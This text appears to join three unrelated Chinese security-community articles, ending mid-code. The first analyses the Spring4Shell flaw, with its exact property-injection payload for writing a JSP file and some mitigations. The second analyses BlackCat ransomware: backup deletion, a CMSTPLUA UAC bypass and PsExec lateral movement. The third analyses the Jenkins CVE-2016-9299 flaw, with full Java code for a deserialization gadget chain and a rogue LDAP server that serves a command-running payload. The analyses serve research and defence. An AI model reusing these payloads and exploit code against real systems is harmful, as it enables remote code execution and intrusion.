<http://rui0.cn/archives/1158>，其中一个点在于获取BeanInfo，位置在CachedIntrospectionResults构造方法，下个断点，发送请求断下
之前的补丁是把classLoader等危险属性过滤掉了。
跟踪如上堆栈发现，新版本和旧版本参数绑定的类有所不一样，具体位置如下，setPropertyValue也叫属性注入
org\springframework\beans\AbstractNestablePropertyAccessor.class#setPropertyValue
补充：AbstractNestablePropertyAccessor 类通过其成员属性提供了一种支持嵌套属性的数据结构
这段的理解参考 <https://www.cnblogs.com/binarylei/p/10267928.html>
// 1. 递归获取 propertyName 属性所在的 beanWrapper，如 director.info.name 获取 name 属性所在的 info bean
AbstractNestablePropertyAccessor nestedPa = getPropertyAccessorForPropertyPath(propertyName);
// 2. 获取属性的 token
PropertyTokenHolder tokens = getPropertyNameTokens(getFinalPath(nestedPa, propertyName));
// 3. 设置属性值
nestedPa.setPropertyValue(tokens, new PropertyValue(propertyName, value));
`getPropertyAccessorForPropertyPath` 根据属性(propertyPath)获取所在 bean 的包装对象
beanWrapper。如果是类似`director.info.name` 的嵌套属性，则需要递归获取。真正获取指定属性的包装对象则由方法
`getNestedPropertyAccessor` 完成。
可以看到`getPropertyAccessorForPropertyPath`的递归调用
protected AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath(String propertyPath) {
// 1. 获取第一个点之前的属性部分。eg: director.info.name 返回 department
int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath);
// 2. 递归处理嵌套属性
// 2.1 先获取 director 属性所在类的 rootBeanWrapper
// 2.2 再获取 info 属性所在类的 directorBeanWrapper
// 2.3 依此类推，获取最后一个属性 name 属性所在类的 infoBeanWrapper
if (pos > -1) {
String nestedProperty = propertyPath.substring(0, pos);
String nestedPath = propertyPath.substring(pos + 1);
AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);
return nestedPa.getPropertyAccessorForPropertyPath(nestedPath);
// 3. 当前对象直接返回
} else {
return this;
}
}
也就是bean属性的递归获取，比如我这个环境中，最外层BeanWrapperImpl封装的是UserInfo，我传参是
对应的就是我controller中的入参类
我传参`class.module.classLoader.resources.context.parent.appBase`
第一次获取class对应的BeanWrapperImpl
this.getNestedPropertyAccessor(nestedProperty)
this.getPropertyValue(tokens)
this.getLocalPropertyHandler(actualName)
this.getCachedIntrospectionResults().getPropertyDescriptor(propertyName) // propertyName=class
## 利用链分析
UserInfo除了基础的四个属性以外，还有一个`class`
并且在嵌套属性`nestedPropertyAccessors`（这个是缓存后有的，直接在beanInfo里也能看）中也直观看到class
展开可以看到套娃一样的嵌套属性
`class.module.classLoader.resources.context`用对象如何获取呢，对应代码如下，也就是多个`getter`串起来
((org.apache.catalina.loader.ParallelWebappClassLoader) new UserInfo().getClass().getModule().getClassLoader()).getResources().getContext()
获取到的就是StandardContext，是不是在内存马也见过。
进一步获取appBase也就顺理成章，最终聚焦下parent，也就是StandardHost
class.module.classLoader.resources.context.parent
((org.apache.catalina.loader.ParallelWebappClassLoader) new UserInfo().getClass().getModule().getClassLoader()).getResources().getContext().getParent()
公开的利用链也就是pipeline下的AccessLogValue的利用，这个类用来设置日志存储参数，包括路径、后缀，修改参数即可达到写入任意文件的目的。
[
](<https://tomcat.apache.org/tomcat-8.5-doc/config/valve.html>)
## AccessLogValue构造
AccessLogValue的属性可参考tomcat官方文档
<https://tomcat.apache.org/tomcat-8.5-doc/config/valve.html>
通过属性注入修改AccessLogValue的几个属性如下
class.module.classLoader.resources.context.parent.appBase=./
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{Prefix123}i+1231231+%25{Suffix123}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=random1111.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=.
class.module.classLoader.resources.context.parent.pipeline.first.prefix=webapps/ROOT/random1111
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=time_fomrat_random111
由于%会被过滤，pattern里通过引用头部来实现构造。
PS: 注意每次写新的文件，需要修改suffix、prefix以及fileDateFormat，否则文件路径不会修改。
fileDataFormat：默认是.yyyy-MM-dd，尽量只用数字，因为字母会被解析格式化
suffix：只要有后缀即可
prefix：可任意
pattern：格式一般是%h %l %u %t "%r" %s %b
，所以%会被格式化，但通过%{xxx}i可引用请求头字段，即可保证任意字符写入，并且可以实现字符拼接，绕过webshell检测。
%{xxx}i 请求headers的信息
%{xxx}o 响应headers的信息
%{xxx}c 请求cookie的信息
%{xxx}r xxx是ServletRequest的一个属性
%{xxx}s xxx是HttpSession的一个属性
<http://xiaobaoqiu.github.io/blog/2014/12/30/tomcat-access-logpei-zhi/>
[
](<http://xiaobaoqiu.github.io/blog/2014/12/30/tomcat-access-logpei-zhi/>)
## bypass原因分析
JDK1.8下测试，class bean下没有module bean，导致后续无法利用，如果是class.classLoader则会被黑名单拦截。
查了下module对应的类是java.lang.Module,是JDK9引入的，JDK9引入了模块系统。
<https://blog.csdn.net/charles_neil/article/details/114460702>
补充下：
黑名单判断逻辑，beanClass非Class或者属性name非(classLoader|protectionDomain)，满意一个即可，而jdk8中没有module，只能用class.classLoader调用，而这样两个条件都不满足，导致无法绕过。
Class.class != beanClass || !"classLoader".equals(pd.getName()) && !"protectionDomain".equals(pd.getName())
jdk9为什么能绕过呢，因为他多了一个module，如class.module.classLoader，这样module就满足第一个条件，而不去判断第二个条件，从而绕过黑名单。
## 如何遍历嵌套属性
之前struts2出过类似漏洞，有人编写了一个jsp来遍历
<https://cs.github.com/julianvilas/rooted2k15/blob/a00055f906502dd038b908a84907b74b38e26b20/struts-tester/struts-tester.jsp>
细节看代码，主要把这个替换成自己的模型类，也就是控制器方法的入参类，以此为起点来获取`getter`和`setter`
效果如下，其他嵌套属性有啥用，就待大家自行摸索了。
做了属性值的获取，通过getPropertyAccessorForPropertyPath获取即可，示例代码如下
BeanWrapperImpl bw = new BeanWrapperImpl(this.initarget);
String propertyName = poc + "." + fieldName;
Integer offset = propertyName.indexOf(prefix);
if (offset != -1) {
propertyName = propertyName.substring(offset + prefix.length());
}
String value = "";
String type = "";
try {
BeanWrapperImpl bwl = (BeanWrapperImpl)invoke(bw, "getPropertyAccessorForPropertyPath", propertyName);
// TODO: 这里私有属性和getter对应不上，应该不算bean，默认还是通过私有属性反射
Object v = getFieldValue(bwl.getWrappedInstance(), fieldName);
value = v.toString();
type = v.getClass().getName();
} catch (Exception e) {
value = "";
}
再看一下JDK9
springboot下的，和springMVC的classloader不一样，是`AppClassLoader`，没有getResources()。
springMVC是`ParallelWebappClassLoader`
然后看下JDK8的springMVC，如下所示，protectionDomain是在黑名单内，所以连属性值都获取不到。
PS: 没有解析到值的，说明那个属性是错误的，不是bean的属性。
这里是打印的存在setter的属性，不打印只有getter的属性。
## 利用条件
所以总结下
* `>=JDK9`。
* springMVC。
* 请求接口对应的是控制器方法。
* 方法入参是非基础类，不能是String，int等
* 请求方法要和控制器方法对应上，否则无法访问。
##
# 修复建议
官方补丁
<https://github.com/spring-projects/spring-framework/commit/afbff391d8299034cd98af968981504b6ca7b38c>
临时方案
（一）WAF防护
在WAF等网络防护设备上，根据实际部署业务的流量情况，实现对“class. _”“Class._ ”“ _.class._ ”“ _.Class._
”等字符串的规则过滤，并在部暑过滤规则后，对业务运行情况进行测试，避免产生额外影响。
(二)临时修复措施
需同时按以下两个步骤进行漏涧的临时修复:
1.在应用中全局搜索@InitBinder注解，看看方法体内是否调用dataBinder.setDisallowedFields方法，如果发现此代码片段的引入，则在原来的黑名单中，添加{"class.
_","Class._ "," _. class._ ", " _.Class._ "}。 (注:如果此代码片段使用较多,需要每个地方都追加)
1. 在应用系统的项目包下新建以下全局类，并保证这个类被Spring 加载到(推荐在Controller 所在的包中添加).完成类添加后，需对项目进行重新编译打包和功能验证测试。并重新发布项目。
import org.springframework.core.annotation.Order;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;
@ControllerAdvice
@Order(10000)
public class GlobalControllerAdvice{
@InitBinder
public void setAllowedFields(webdataBinder dataBinder){
String[]abd=new string[]{"class.*","Class.*","*.class.*","*.Class.*"};
dataBinder.setDisallowedFields(abd);
}
}
# 补丁分析
<https://github.com/spring-projects/spring-framework/commit/afbff391d8299034cd98af968981504b6ca7b38c>
2022年3月31日18:31:58
Refine PropertyDescriptor filtering
补丁很简单，当beanClass是class.Class时，只允许添加name属性。
并且如果属性是`ClassLoader` 和 `ProtectionDomain`，也会被忽略。
# 参考链接
[class.classLoader.resources.dirCon想·text.docBase](https://wooyun.js.org/drops/Struts2%20Tomcat%20class.classLoader.resources.dirContext.docBase%E8%B5%8B%E5%80%BC%E9%80%A0%E6%88%90%E7%9A%84DoS%E5%8F%8A%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E5%88%A9%E7%94%A8!.html)
CVE-2010-1622 <http://rui0.cn/archives/1158>
<http://xiaobaoqiu.github.io/blog/2014/12/30/tomcat-access-logpei-zhi/>
<https://tomcat.apache.org/tomcat-8.5-doc/config/valve.html>
<https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement>
# 其他注意事项
利用需要找控制器方法入参是一个非基础类，比如入参是String则无法触发参数绑定。 | 社区文章 |
# 恶意文件简述
BlackCat 是第一个广为人知的用 Rust
编写的勒索病毒，该病毒带有一个加密配置，其中包含要终止的服务/进程列表、避免加密的目录/文件/文件扩展名列表以及来自受害者环境的被盗凭证列表。它会删除所有卷影副本，使用
CMSTPLUA COM 接口执行权限提升，并在受害者机器上启用“远程到本地”和“远程到远程”符号链接。
# 恶意文件分析
## 1.恶意文件描述
近期，深信服深盾终端实验室在运营工作中发现一起勒索病毒事件，样本隶属家族 BlackCat。该家族最近几个月动作频频，下文将针对该样本进行详细分析。
BlackCat（又名 ALPHV）是一个勒索软件家族，BlackCat 采用勒索软件即服务 (RaaS)
商业模式，在已知的网络犯罪论坛中招揽附属公司，允许附属公司利用勒索软件并保留 80-90% 的赎金，其余部分将支付给 BlackCat
作者。其恶意软件本身是用 Rust 编程语言编写的。
**BlackCat
采用三重勒索模式，不仅会加密数据、感染网络和系统，还会通过其他的工具进行窃取敏感数据，然后使用被盗数据勒索受害者支付要求的赎金，还会在他们的泄密网站上列出了部分受害者，如果不支付赎金，攻击者将在数据泄露站点上泄露被盗数据。而且如果受害者没有在最后期限支付赎金，他们还会进行分布式拒绝服务
(DDoS) 攻击。**
## 2.恶意文件分析
通过分析发现该样本使用 32
位不唯一的访问令牌进行启动，在程序启动初始阶段便会对参数进行强校验，样本通过正确参数启动后便会进行加密勒索操作，为加密后的文件添加后缀名
“.7dulptm”，提示信息文件名为 “RECOVER-7dulptm-FILES”，内容如下，通过该样本的勒索信息可以锁定勒索解密页面，当前还未有任何交互信息。
**网络行为**
暂未发现网络行为
**行为分析**
该样本的行为如下所示
BlackCat
是一个命令行启动的勒索程序，该样本采用定制化的参数选项帮助攻击者轻松地配置程序执行过程。这些配置包括以子进程方式运行、拖拽启动、记录日志、是否探索
Windows 系统的共享网络、是否在 Windows 上繁殖传播、是否传播到未定义的服务器上、是否关闭 ESXI 虚拟机、是否删除 ESXI
虚拟机快照、是否更新 Windows桌面等等。
其中大多数参数是可选项，但是 --access-token 参数是必选的，用来绕过沙箱自动执行的动态分析。
当该样本无参数启动或者以一个无效的 access token 启动时，控制台均会输出错误信息。
根据配置，该样本使用 ChaCha20Aes 或 Aes 加密算法对文件进行加密。在自动模式下，软件会检测是否有 AES
硬件支持（存在于所有现代处理器中）并使用它。如果没有 AES 支持，软件会对文件进行 ChaCha20 加密。
**前期准备工作**
允许“远程到远程”文件共享：
fsutil behavior set SymlinkEvaluation R2R:1
关闭系统所有 Internet 服务：
将注册表中网络请求服务器服务的值修改为最大即65535，这样能够避免在加密过程中因同时访问太多文件而出现的问题。
信息收集
1、通过注册表 SOFTWARE\Microsoft\Cryptography 来查询机器 Guid
2、调用 WMI 获取主机目标设备的通用唯一标识符 UUID
3、在缓存中读取 IP 地址和 mac 地址的对应关系表
4、枚举磁盘驱动器
检索磁盘驱动器
5、查询受害者系统的计算机名
6、查询计算机用户名
7、查询 AD 域名
调用 SHTestTokenMenbership 函数，判断当前用户是否属于本域中的管理员组(0x220 =
DOMAIN_ALIAS_RID_ADMINS)，识别当前用户是否具有域管理员权限，以便加密更多的设备。
调用 NtQueryInformationToken 函数检索与当前令牌 (0x2 = TOKEN_GROUPS )
关联的组账号，并且检查TOKEN_GROUPS 中是否包含管理员组：
8、使用 net use 控制共享网络连接
9、枚举文件
防御规避
该样本为了避免数据的恢复及取证溯源工作，做了如下的工作：
1、该样本使用了 TLS 回调函数
2、命令行参数启动
该样本通过 GetCommandLineW 函数获取该程序的命令行参数
3、关闭某些进程和服务
为了尽可能多得加密文件，避免文件被占用，勒索程序还会关闭一些进程和服务。配置中设置了需要关闭的进程列表和服务列表：
（1）关闭服务
调用 OpenScManagerW 查询服务控制管理数据库
枚举服务存活状态的服务 (0x1 = SERVICE_ACTIVE)
终止目标服务器 (0x1 = SERVICE_CONTROL_STOP)
（2）关闭进程
枚举所有进程
中断进程
4、调用 vssadmin.exe 和 wmic 删除系统备份
5、关闭系统 BCDedit 中的自动修复功能
6、枚举服务器/客户端中所有的事件日志列表，然后清除系统中所有的事件日志
**提权**
1、绕过 UAC
该恶意软件尝试使用 CMSTPLUA COM 接口绕过 UAC，如调用 CoInitializeEx 函数来初始化当前线程的COM 库 (0x2 =
COINIT_APARTMENTTHREADED)
调用 CoGetObject 函数，将显示名称修改并绑定为一个自提权 CMSTPLUA
的接口interfaceElevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
从下图可以看出，初始低权限样本启动了一个提权后的“自己”，随后退出程序
2、API 提权
获取当前进程的令牌句柄 (0x80000000 = GENERIC_READ)
查看系统权限 SeTakeOwnershipPriviledge 的特权值
在指定的访问令牌 SeTakeOwnershipPriviledge 上启动该权限
所有提升的权限如下所示：
SeIncreaseQuotaPrivilege,SeSecurityPrivilege,SeTakeOwnershipPrivilege,SeLoadDriverPrivilege,SeSystemProfilePrivilege,SeSystemtimePrivilege,SeProfileSingleProcessPrivilege,SeIncreaseBasePriorityPrivilege,SeCreatePagefilePrivilege,SeBackupPrivilege,SeRestorePrivilege,SeShutdownPrivilege,SeDebugPrivilege,SeSystemEnvironmentPrivilege,SeChangeNotifyPrivilege,SeRemoteShutdownPrivilege,SeUndockPrivilege,SeManageVolumePrivilege,SeImpersonatePrivilege,SeCreateGlobalPrivilege,SeIncreaseWorkingSetPrivilege,SeTimeZonePrivilege,SeCreateSymbolicLinkPrivilege,SeDelegateSessionUserImpersonatePrivilege
持久化
为了避免影响系统和勒索软件的正常运行，对一些关键的系统、应用程序文件夹和一些关键组件不进行加密操作
1、配置中包含避免加密的文件扩展列表
themepack,nls,diagpkg,msi,Ink,exe,cab,scr,bat,drv",rtp","msp","prf","msc","ico","key","ocx","diagcab","diagcfg","pdb","wpx","hlp","icns","rom",dll","msstyles","mod","ps1","ics","hta","bin","cmd","ani","386","lock","cur","idx","sys","com",deskthemepack","shs","Idf","theme","mpa","nomedia","spl","cpl","adv","icl","msu
2、避免加密的文件夹，包括但不限于
systemvolume information, intel, $windows.~ws, application data, $recycle.bin,
mozilla, $windows.~bt, public, msocache, windows, default, all users, tor
browser, programdata, boot, config.msi, google, perflogs, appdata, windows.old
3、避免加密的文件名，包括但不限于
desktop.ini, autorun.inf, ntldr, bootsect.bak, thumbs.db, boot.ini,
ntuser.dat, iconcache.db, bootfont.bin, ntuser.ini, ntuser.dat.log
文件加密
调用 BCryptGenRandom 函数生成 16 个随机字节，用来生成 AES 密钥
从文件头开始遍历文件
被加密文件添加后缀
写入勒索信
Json 格式文件包含 AES 加密算法，用于加密文件的 AES密钥，调用 BCryptGenRandom 函数生成 0x82(130)个随机字节，与
json 配置文件中的密钥总共占用缓冲区大小为256 字节
调用 bcryptGenRandom 生成随机四字节，将被加密文件的内容与 AES 密钥使用四字节分开
包含 AES 密钥的缓冲区被配置文件中的 RSA 公钥加密，加密密钥大小为 0x100，写入文件，文件内容使用 aesenc and aesenclast
命令进行 AES-128 算法加密，使用writeFile 将加密后的内容写入文件
内嵌配置信息
Json 配置中包含：
1、 被加密文件的扩展
2、 被AES密钥加密的RSA公钥
3、 勒索信名称和内容
4、 受害者环境被盗的凭据
5、 AES加密算法
6、 终止的服务和进程列表
7、 避免加密的文件夹、文件和文件扩展
8、 网络发现、横向移动、桌面壁纸设置、终止VMware ESXI虚拟机、清除VMware ESXI虚拟机快照、从终端中排除VMware ESXI
横向移动
枚举所有连接到网络中的服务器，该进程首先会广播 NetBIOS 名称服务 (NBNC)
消息来检查这些附加的设备，然后试图通过PsExec使用配置文件中的凭据复制自身到响应的服务器中。
调用 SHTestTokenMenbership 函数，判断当前用户是否属于本域中的管理员组(0x220 =
DOMAIN_ALIAS_RID_ADMINS)，识别当前用户是否具有域管理员权限，以便加密更多的设备。
调用 NtQueryInformationToken 函数检索与当前令牌(0x2 = TOKEN_GROUPS )关联的组账号，并且检查
TOKEN_GROUPS 中是否包含管理员组： | 社区文章 |
来源：[随风's Blog](https://www.iswin.org/2017/01/25/Jenkins-LDAP-Deserializable-Vulnerablity-CVE-2016-9299-Analysis/)
作者：[iswin](https://www.iswin.org/about)
> 这个漏洞在去年11月份官方发布通告的时候我当时关注过，当时自己一直在找 ** _com.sun.jndi.ldap.LdapAttribute_**
> 这个类相关的反序列化，当时意识到这个类里面的`_getAttributeSyntaxDefinition()_`方法和`_getAttributeDefinition()_`可能会存在反序列化的问题，但是当时找了好多类，发现在反序列化的时候都无法触发这两个方法，原本以为是jdk里面自己的问题，最后就没继续跟下去了，中途有老外放出了一个ppt里面演示了这个漏洞，大概看了下发现是利用json来bypass
> Jenkins的白名单，当时一直在忙数据分析的事情，事情就搁浅了，前不久刚好MSF上有Payload了，再加上年底了没那么多事了，所以就研究了下，这个漏洞还是挺有意思的，涉及的知识面还是稍微广了一点，这里不得不佩服那些漏洞发现者。
>
> 每当一个漏洞漏洞出现的时候，我就在想为什么自己不能发现，当每次漏洞分析完的时候才发现各方面的差距真的是不小。
>
> **_技术在于分享，这样才能进步_** 。
### 漏洞简介
2016年11月16号Jenkins官方发布了一个安全通告，命名为[CVE-2016-9299](https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-11-16),从通告上来看，该漏洞依然是个反序列的漏洞，不过这个漏洞的反序列化和LDAP有关，而且在反序列化后需要连接到一个恶意的LDAP服务器，Jenkins对于之前反序列化的修复方法就是对一些恶意的类加上黑名单，所以这里首先得Bypass官方的黑名单，对于该漏洞只有这么多信息，而且在官方给的POC里面也仅仅是提到了
** _com.sun.jndi.ldap.LdapAttribute_** 这个类，这个漏洞的利用首先是不需要认证的，而且能任意代码执行，危害可见一斑。
### 漏洞分析
从官方的描述以及后面的Payload来看，问题和net.sf.json以及com.sun.jndi.ldap.LdapAttribute有关，通过分析对LdapAttribute这个类的分析，我们可以确定以下两个方法是触发反序列化漏洞的根本（关于下文中LDAP的反序列相关的知识请移步16年blackhat老外的Paper
“us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE”）
* getAttributeSyntaxDefinition
* getAttributeDefinition
这两个方法中都调用了该`_DirContext schema =
getBaseCtx().getSchema(rdn);_`代码片段其中getBaseCtx()方法定义如下：
该段代码使用jndi的方式去访问LDAP服务，这里我们可以控制Context.PROVIDER_URL的参数，从而控制jndi访问的LDAP服务器的地址。
getSchema(rdn)方法最终会调用`com.sun.jndi.ldap.LdapBindingEnumeration.createItem(String,
Attributes, Vector)`方法（调用关系太多，自己去调试），该方法的定义如下图
在该方法中最终会调用 ** _Obj.decodeObject(attrs)_**
方法，从而实现对象的反序列化。这里稍微提下，com.sun.jndi.ldap.Obj对象中定义了几种对象序列化与反序列化的方法，有直接反序列化的，也有直接通过远程加载的，这里的的反序列化稍微与其它地方的反序列化不同的点在于我们不能远程加载对象，因为com.sun.jndi.ldap.VersionHelper12.trustURLCodebase的默认值为false，所以直接决定了类加载器只能加载当前classpath下面的类，关于如何去构造对象使得LDAP在反序列化能执行任意代码，请看下文。
到这里我们知道了com.sun.jndi.ldap.LdapAttribute中相关的方法能触发反序列化的漏洞，那么现在我们要做的就是去找到一个类在反序列化的时候能调用我们相应触发漏洞的函数，也就是在反序列化时能调用getAttributeSyntaxDefinition方法或者getAttributeDefinition方法的类，通过老外的PPT以及公开的gadgets，我们稍微分析下就会发现在net.sf.json这个类库中存在可以调用类任意getXXX函数的地方，那么com.sun.jndi.ldap.LdapAttribute这个类中的getXXX方法是不是也可以通过这种方式来调用，首先我们先确定究竟是那个类中的那个方法能调用getXXX函数，通过gadgets中的json
Payload我们发现最终能调用对象的getXXX函数如下图（net.sf.json.JSONObject.defaultBeanProcessing(Object,
JsonConfig)）所示
上图中圈起来的两个地方就是能调用getXXX函数的地方，这里会先遍历javabean的所有属性，最后在挨个的调用。
弄明白了能函数调用的根源，下一步就是去找这个函数究竟会怎样触发。通过eclipse我们可以很容易发现如下调用方式。
如上图所示，我们可以看见defaultBeanProcessing方法最终会被ConcurrentSkipListSet类中的equals方法调用，到这里很多人可能会问了，那么多调用关系，你为什么就找这个类的equals方法，这里可能会有一些经验在里面，因为对于和equals方法相关的东西太多了，对于java中的某些数据结构，例如Set,每次添加元素的时候都会判断当前key是否存在，还有就是比较两个对象是否相等的时候会去调用hashcode和equals方法，这里如果了解过其它反序列化的同学对此可能会稍有感触，例如jdk的那个反序列化的触发过程。如果这种经验没有的话，那么你只能一个一个的去找了。
最终我们找到了一个类可以的某个方法可以调用我们的函数了，但是你可能会发现在eclipse中这样的函数调用关系大多是多态情况下的方法调用，所以我们还需要对equals方法中的方法调用进行分析，这里我们需要注意的是defaultBeanProcessing这个函数的直接调用对象是net.sf.json.JSONArray.fromObject(Object,
JsonConfig)方法，我们来看下equals方法
在这个方法里面有两处调用了containsAll方法，我们要看看究竟是那个可能会调用fromObject，我们再来看下fromObject的调用关系，如下图
你会发现JSONArray调用了containsAll方法，
containsAll(c) && c.containsAll(this);
这里的第一个containsAll方法是触发不了的那个函数的，所以我们只要满足对象o是JSONArray就行了，但是事实上是不行了，因为这个对象o不是Set的子类，所以这条路到这基本上就走不通了，所以我们还得继续找。
继续回到c.containsAll这个地方我们再找那些函数最终调用了containsAll，这里我们发现org.apache.commons.collections.collection.AbstractCollectionDecorator.containsAll(Collection)这个抽象类调用了，来看改函数的定义
protected Collection collection;
....
public boolean containsAll(Collection coll) {
return collection.containsAll(coll);
}
这里最终会调用collection.containsAll方法，如果这里我们将collection赋值为JSONArray对象的话不照样触发漏洞么，由于AbstractCollectionDecorator这个类是抽象的，无法实例化，所以我们得找一个它的子类，注意这里我们必须得满足子类是实现了Set接口并且是可以序列化的，所以找到最后我们找到了org.apache.commons.collections.set.ListOrderedSet这个类。这里只需要满足父类的collection是JSONArray就行了。
到这里我们知道了只需要让equals方法中的对象o赋值成org.apache.commons.collections.set.ListOrderedSet的实例就行了。
接下来我们要去找关于equals的调用关系了，直接使用eclipse我们可以找到org.apache.commons.collections.map.Flat3Map.put(Object,
Object)这个类（详细过程大家自己去跟），这个类有个更重要的一点是
这个类在反序列化的时候恰好就触发了这个put函数，最终触发我们精心构造的对象。
这个Flat3Map有个特点就是当map的元素小于等于3的时候会用类成员变量来存储数据，而且这里还必须得调用equals方法。
悲剧的是这里我们需要构造两个对象也就是我们刚才讨论的，一个是ListOrderedSet一个是concurrentSkipListSet对象，但是这里我们需要满足这两个对象的key值的hashcode必须相同。
这里的hashcode要么全为0这样是最好的，也就是key为空字符串就行了，但是我们要构造的Payload里面必须要有JSONArray对象，这个对象默认的hashcode是29，不管怎么弄都不可能相等，不过这里我们可以用hashcode碰撞来解决hashcode值相同问题。
这里我们关键的漏洞是怎么触发的已经浪费了大量的篇幅来说明，下来就是要去构造POC了，这里具体细节就比较简单了，不做过多的描述了。
### Payload-LDAP-JNDI
这里直接给出生成Ldap序列化的Payload，如果谁有什么疑问可以邮件交流。
@author iswin
public static void main(String[] args) throws InstantiationException, IllegalAccessException,
IllegalArgumentException, InvocationTargetException, Exception {
Object o = Reflections.getFirstCtor("com.sun.jndi.ldap.LdapAttribute").newInstance("iswin");
Reflections.setFieldValue(o, "baseCtxURL", "ldap://127.0.0.1:38900");
ConcurrentSkipListSet sets = new ConcurrentSkipListSet(new NullComparator());
sets.add(o);
ListOrderedSet set = new ListOrderedSet();
JSONArray array = new JSONArray();
array.add("\u0915\u0009\u001e\u000c\u0002\u0915\u0009\u001e\u000b\u0004");
Reflections.setSuperFieldValue(set, set.getClass().getSuperclass().getSuperclass().getSuperclass(),
"collection", array);
Flat3Map map = new Flat3Map();
map.put(set, true);
map.put(sets, true);
//如果不在这里更改值，则满足不了hash相等条件，如果在之前设置为空，那么在Flat3Map的put方法时就会触发漏洞，则不能完成生成payload。
Reflections.setSuperFieldValue(o, o.getClass().getSuperclass(), "attrID", "");
byte[] bt = Serializer.serialize(map);
Deserializer.deserialize(bt);
}
### Payload-LDAP-SERVER
刚开始以为主要能生成序列化的Payload然后随便找个LDAP服务器弄个序列化的对象丢上去就行了，但是事实好像没有那么简单，我用apacheds模拟了好久就是不行，后来看了下上文提到的那个Obj.decodeObject(attrs)方法，发现这个必须要LDAP服务器返回的信息中必须包含某些属性，例如javaSerializedData，但是每次去请求总是达不到效果，后来去瞅了下msf上的payload，大概明白了一点，后来懒得去弄了，就学习了下ldap协议的rfc文档，熟悉了下asn1标记语言（有耐心的同学可以仔细看看），具体解释如下
直接将msf上的那个模拟的服务端中的asn1部分直接拿java重写了下。 整体代码如下：
@author iswin
public class LdapServer {
public static byte[] hexStringToByteArray(String s) {
int len = s.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));
}
return data;
}
public static String bytesToHex(byte[] bytes) {
char[] hexArray = "0123456789ABCDEF".toCharArray();
char[] hexChars = new char[bytes.length * 2];
for (int j = 0; j < bytes.length; j++) {
int v = bytes[j] & 0xFF;
hexChars[j * 2] = hexArray[v >>> 4];
hexChars[j * 2 + 1] = hexArray[v & 0x0F];
}
return new String(hexChars);
}
public static byte[] make_stage_reply() throws Exception {
Object payload = CommonsCollections1.class.newInstance().getObject("open /Applications/Calculator.app");
ByteArrayOutputStream objpayload = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(objpayload);
oo.writeObject(payload);
Sequence sq = new Sequence();
sq.addElement(new OctetString("javaClassName".getBytes()));
Set s0 = new Set();
s0.addElement(new OctetString("WTF".getBytes()));
sq.addElement(s0);
Sequence sq1 = new Sequence();
sq1.addElement(new OctetString("javaSerializedData".getBytes()));
Set s = new Set();
s.addElement(new OctetString(objpayload.toByteArray()));
sq1.addElement(s);
Sequence sq2 = new Sequence();
sq2.addElement(sq);
sq2.addElement(sq1);
Sequence sq3 = new Sequence();
sq3.addElement(new OctetString("cn=wtf, dc=example, dc=com".getBytes()));
sq3.addElement(sq2);
sq3.setTagClass(Tag.APPLICATION);
sq3.setTagNumber(4);
Sequence sqall = new Sequence();
sqall.addElement(new ASN1Integer(3L));
sqall.addElement(sq3);
ByteArrayOutputStream opt = new ByteArrayOutputStream();
sqall.encode(new BerOutputStream(opt, BerOutputStream.ENCODING_DER));
return opt.toByteArray();
}
public static void read_ldap_packet(Socket socket) {
try {
InputStream sin = socket.getInputStream();
byte[] sinb = new byte[2];
sin.read(sinb);
if (sinb[0] != '0') {
return;
}
int length = (char) (sinb[1] & 0xFF);
if ((length & (1 << 7)) != 0) {
int length_bytes_length = length ^ (1 << 7);
byte[] length_bytes = new byte[length_bytes_length];
sin.read(length_bytes);
int sum = 0;
for (int i = 0; i < length_bytes.length; i++) {
sum += (length_bytes[i] & 0xFF);
}
length = sum;
}
// System.out.println("length" + length);
byte[] tmp = new byte[length];
sin.read(tmp);
} catch (IOException e) {
e.printStackTrace();
}
}
public static void socketServer() throws Exception {
try {
ServerSocket server = new ServerSocket(38900);
Socket ss = server.accept();
OutputStream out = new BerOutputStream(ss.getOutputStream());
read_ldap_packet(ss);
out.write(hexStringToByteArray("300c02010161070a010004000400"));
out.flush();
read_ldap_packet(ss);
out.write(hexStringToByteArray(
"3034020102642f04066f753d777466302530230411737562736368656d61537562656e747279310e040c636e3d737562736368656d61"));
out.write(hexStringToByteArray("300c02010265070a010004000400"));
out.flush();
read_ldap_packet(ss);
out.write(make_stage_reply());
out.write(hexStringToByteArray("300c02010365070a010004000400"));
out.flush();
out.close();
ss.close();
server.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception {
socketServer();
}
}
最后再来简单说下那个Obj.decodeObject(attrs)的Payload构造问题，有的同学肯定会说了jndi不是直接可以远程加载类然后实例化么，这个问题再上门说过了，对于LDAP的jndi这个方法是行不通的，我们来看看这个Obj类到底是怎么处理的
这里我们可以看到这里定义多种不同的方式来去解析对象， ClassLoader cl =
helper.getURLClassLoader(codebases); 这个类加载器是从codebase的URL中去加载涉及的相关类，但是我看下具体方法
所以默认是加载不了codebase中定义的类的，一旦这样我们就只能构造相关反序列化漏洞的POC，让类在Jenkins进行反序列化时再触发漏洞了，不过这样子的话Payload很有可能不成功。
### 关于hashcode的碰撞问题
这样叫不知道对不对，姑且这样叫吧，老外早就研究过这个问题，我直接把代码丢出来，可以碰撞出任意数值的hashcode值，大家在使用的时候要注意版权问题。
package iswin;
public class HashCollision {
public static String convert(String str) {
str = (str == null ? "" : str);
String tmp;
StringBuffer sb = new StringBuffer(1000);
char c;
int i, j;
sb.setLength(0);
